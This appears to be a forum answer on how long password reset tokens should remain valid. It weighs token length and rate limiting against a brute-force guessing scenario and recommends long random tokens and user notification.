How long should a password reset token remain valid?

The answer depends really on the complexity of your reset token. The aim should be that a reset token is not guessable in the given valid time.

So for instance if your reset token is 5 characters long, only digits and your server is capable of answering to 100 requests per second without rate limiting, 15 minutes is likely too long. Just think about the possible attack:

An attacker resets his own password to see how the links work
The attacker resets the account of his victim, knowing he has n minutes time
The attacker calls the password-reset page with more or less random keys until he finds the correct one.

This - especially step 3 - should not be possible in the given amount of time. That means if you have a great enough universe to draw reset-keys from (like 32 chars, alphanumeric) as well as rate limiting in your application, even one day won't affect your security much. Also you can (and should) choose to inform your user with a second email/message on the performed password change. Also note that your application may support very long reset-tokens without compromising the user experience as they never have to type it.

Edit: Of course you should calculate in a way that only a very small percentage of keys can be tested in the given amount of time. For example a 0.000001% chance of guessing the right key in the given timeslot might be an acceptable risk. A small amount of risk is something that you will have to accept in any way.